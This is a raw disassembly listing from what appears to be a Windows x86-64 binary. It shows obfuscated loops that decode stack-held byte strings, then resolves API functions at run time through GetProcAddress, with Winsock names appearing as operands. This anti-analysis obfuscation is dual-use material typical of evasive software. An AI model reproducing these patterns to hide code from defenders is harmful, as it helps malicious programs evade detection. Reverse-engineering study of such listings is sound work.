movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fec3
lea ecx, [r11 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 3
mov byte [rbp + r11 + 0x180], dil
inc r11
jmp 0x14006fec3
lea ecx, [r11 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x61
cmp r8, 0x61
jb 0x140070320
movzx r9d, r11b
lea ecx, [r9 - 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x74]
jmp 0x1400708b0
lea ecx, [r11 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x41
cmp rbx, 8
jae 0x1400707a8
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x1400706d2
lea ecx, [r11 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
jmp 0x140070346
lea ecx, [r11 + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1d
lea rax, [r8 + rbx]
cmp rax, 2
je 0x1400707d3
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x140070634
lea ecx, [r11 + 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x33
jmp 0x140070384
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fec3
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400709b2
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
jmp 0x140070987
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x140070955
lea edx, [r11 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070952
movzx r9d, r11b
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x140070918
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006fec3
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006fec3
movzx r9d, r11b
lea ecx, [r9 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
jmp 0x1400708b0
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x14007054c
lea ecx, [r11 - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2f
jmp 0x1400703c9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140070586
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fec3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400705aa
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x140070987
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400705d6
movzx r9d, r11b
lea edx, [r9 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070918
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140070604
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006fec3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400703c9
movzx r9d, r11b
lea edx, [r9 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400708b0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007065c
movzx r9d, r11b
lea ecx, [r9 - 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6f
jmp 0x1400708b0
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140070686
lea ecx, [r11 + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4d
dec r11
inc r11
jmp 0x14006fec3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400706aa
lea ecx, [r11 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 9
jmp 0x140070952
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140070384
lea ecx, [r11 + 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x23
jmp 0x1400709b2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140070708
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fec3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007072c
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x140070987
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140070754
lea edx, [r11 - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070955
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007077c
lea edx, [r11 - 4]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070952
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140070346
movzx r9d, r11b
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x1400708b0
movzx r9d, r11b
lea edx, [r9 + 0x28]
movzx eax, dl
and al, r10b
add al, al
movzx edi, byte [rbp + r11 + 0x180]
sub dil, al
sub dil, 0x18
add dil, r10b
add dil, dl
jmp 0x140070918
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x180]
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x140070987
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x29
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fec3
lea ecx, [r11 - 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6d
jmp 0x140070987
lea ecx, [r11 - 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xf
jmp 0x140070955
lea ecx, [r11 + 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xb
dec r11
inc r11
jmp 0x14006fec3
movzx r9d, r11b
lea ecx, [r9 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x39
jmp 0x1400708b0
movzx r9d, r11b
lea ecx, [r9 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7d
sub r9b, 0x71
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x17
add r10b, r9b
mov byte [rbp + r11 + 0x180], r10b
inc r8
dec r11
inc r11
jmp 0x14006fec3
lea ecx, [r11 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3f
dec r11
inc r11
jmp 0x14006fec3
movzx r9d, r11b
lea ecx, [r9 - 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x63
sub r9b, 0x3f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x47
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x180], r10b
jmp 0x140070952
lea ecx, [r11 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 5
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006fec3
lea rcx, [r11 + r12]
movzx r10d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x49
lea edx, [r11 - 0xd]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x5b
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x180], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, socket
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x180], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fec3
lea rcx, [r11 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x73
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fec3
add r11b, 0x7d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x6b
jmp 0x14006fec0
add r11b, 0x4b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0xd
jmp 0x14006feb0
lea rdx, [rbp + 0x157144c]
jmp 0x140070a77
lea rdx, [rbp + 0x9795e5]
jmp 0x140070a77
lea rdx, [rbp + 0x180]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov byte [rbp + 0x1a0], 0xb1
mov byte [rbp + 0x1a1], 0x89
mov byte [rbp + 0x1a2], 0x9c
mov byte [rbp + 0x1a3], 0x98
mov byte [rbp + 0x1a4], 0x8e
mov byte [rbp + 0x1a5], 0x9a
mov byte [rbp + 0x1a6], __WSAFDIsSet
mov byte [rbp + 0x1a7], 0x84
mov byte [rbp + 0x1a8], 0x80
mov byte [rbp + 0x1a9], __WSAFDIsSet
mov byte [rbp + 0x1aa], 0x81
mov byte [rbp + 0x1ab], 0xfa
mov byte [rbp + 0x1ac], WSACleanup
xor eax, eax
mov qword [rbp + 0x1ad], rax
mov word [rbp + 0x1b5], ax
movabs rsi, 0x7c7a8c5e0625e1af
movabs r15, 0x756fa51a1271a50d
movzx edi, byte [rbp + 0x3e0]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x17
jae 0x140071418
movzx r9d, byte [rbp + r11 + 0x1a0]
mov rdx, r9
nop dword [rax]
cmp rbx, r11
ja 0x14007140f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140070b6c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x37
jmp 0x140070ba0
je 0x1400713a1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007130d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400712eb
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400712a0
nop dword [rax]
cmp r8, r11
ja 0x140071406
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x140070bcd
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7d
jmp 0x140070c01
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140071283
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140071261
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140071242
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140071214
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140070ef7
nop
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140070ed8
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140070eb0
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140070e8b
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140070e6c
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140070e4d
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140070e32
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x20]
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400713e9
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400713cc
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140070d51
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140070d36
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140070d1b
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140070e0c
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140070c10
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140070ddf
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140070dc0
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140070da5
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140070d8a
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140070d6b
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x61]
jmp 0x140070c10
lea ecx, [r11 + 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x23
jmp 0x140070c01
lea ecx, [r11 - 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6f
jmp 0x140070ba0
lea ecx, [r11 + 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
inc dil
jmp 0x140070b36
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400711e2
lea ecx, [r11 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x1400711e5
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
jmp 0x14007132f
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007135a
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140070b23
lea ecx, [r11 + 0x7d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6b
mov byte [rbp + r11 + 0x1a0], dil
inc r11
jmp 0x140070b23
lea ecx, [r11 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x1400711e5
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400711e2
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
movzx r10d, r11b
jmp 0x1400711c0
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r11
inc r11
jmp 0x140070b23
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140070b23
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
movzx r10d, r11b
jmp 0x1400712be
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x140070fb7
lea ecx, [r11 - 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x37
lea rax, [r8 + rbx]
cmp rax, 0x1000
je 0x1400711fe
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x140071096
lea edx, [r11 - 0x4d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x1b
add dil, dl
cmp rbx, 9
jae 0x14007119e
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x140071116
lea edx, [r11 + 0xe]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x62
add dil, dl
cmp r8, 5
jb 0x140070e22
movzx r10d, r11b
lea edx, [r10 - 0x46]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x2c]
jmp 0x1400712be
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140070ff1
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r9b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140070b23
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140071015
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
jmp 0x1400711e2
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007103e
movzx r10d, r11b
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400711bd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071069
lea ecx, [r11 - 0x16]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x66
dec r11
inc r11
jmp 0x140070b23
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140070f1d
movzx r10d, r11b
lea edx, [r10 - 0x5a]
movzx eax, r9b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400712bb
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400710bf
movzx r10d, r11b
lea edx, [r10 + 0x11]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x77
jmp 0x1400712bb
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400710ea
lea ecx, [r11 - 0x33]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x65
dec r11
inc r11
jmp 0x140070b23
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140070f57
lea edx, [r11 + 0x45]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x1d
add dil, dl
jmp 0x14007132f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140071150
lea edx, [r11 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140070b23
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140071178
lea edx, [r11 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x14007132f
cmp rbx, rcx
jne 0x140070f88
movzx r10d, r11b
lea edx, [r10 + 0x42]
movzx eax, r9b
and al, dl
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400711bd
movzx r10d, r11b
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r11 + 0x1a0]
sub cl, al
add cl, 0x2c
lea edi, [rcx + rcx]
add dil, dl
sub r10b, 0x39
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x71
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 + 0x1a0], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140070b23
lea ecx, [r11 + 0x76]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x3a]
jmp 0x14007132f
lea ecx, [r11 - 0x57]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x61
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140070b23
lea edx, [r11 - 0x13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7b
add dil, dl
jmp 0x14007132f
lea ecx, [r11 + 0x75]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x33
dec r11
inc r11
jmp 0x140070b23
movzx r10d, r11b
lea edx, [r10 - 0x47]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xf
jmp 0x1400712bb
movzx r10d, r11b
lea edx, [r10 - 3]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x15
add dil, dl
add r10b, 0x69
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x21
add r9b, r10b
mov byte [rbp + r11 + 0x1a0], r9b
inc r8
dec r11
inc r11
jmp 0x140070b23
lea ecx, [r11 + 0x41]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x39
dec r11
inc r11
jmp 0x140070b23
movabs rcx, 0x6759d6922b092bc9
add rcx, r11
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7f
lea edx, [r11 + 0x25]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 3
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x1a0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x2c]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x1a0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140070b23
lea rcx, [r11 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x5b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140070b23
sub r11b, 0x15
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x6d
jmp 0x140070b20
sub r11b, 0x73
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 0x25
jmp 0x140070b10
lea rdx, [rbp + 0x173a334]
jmp 0x14007141f
lea rdx, [rbp + 0x11984e3]
jmp 0x14007141f
lea rdx, [rbp + 0x1a0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov byte [rbp - 0x10], 0xa7
mov byte [rbp - 0xf], 0x84
mov byte [rbp - 0xe], 0xf6
mov byte [rbp - 0xd], 0xa0
mov byte [rbp - 0xc], 0x88
mov byte [rbp - 0xb], 0x8c
mov byte [rbp - 0xa], 0x83
mov byte [rbp - 9], 0x89
mov byte [rbp - 8], 0xfc
mov byte [rbp - 7], 0x9b
mov byte [rbp - 6], 0x8f
mov byte [rbp - 5], 0x88
mov byte [rbp - 4], 0xf8
mov byte [rbp - 3], WSASetLastError
xor eax, eax
mov word [rbp - 2], ax
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x10
jae 0x140071f63
movzx r9d, byte [rbp + r11 - 0x10]
mov r10, r9
cmp rbx, r11
ja 0x140071f57
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400714cb
movabs rcx, 0x2c706715c4959530
add rcx, r11
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x50
jmp 0x1400714f0
je 0x140071ed4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140071e44
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140071dec
nop dword [rax + rax]
cmp r8, r11
ja 0x140071f4b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140071521
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140071560
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140071da8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140071d87
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140071d6c
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140071d4d
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140071aaf
nop dword [rax]
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140071a90
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140071a6f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140071a4a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140071b58
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140071a2b
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140071a0d
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400719f2
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400719d3
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400719a9
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140071570
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x200]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140071f2b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140071f0b
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140071767
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140071748
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007172d
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14007195e
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140071911
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400718d1
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400718aa
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140071570
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x10]
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007187d
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140071862
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140071843
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140071828
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140071810
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400717ed
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400717cc
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400717a4
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140071782
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140071570
lea rbx, [r8 + 2]
lea r8, [rbx + 0x400]
jmp 0x140071570
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x140071560
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400714f0
lea ecx, [r11 + 0x50]
movzx eax, cl
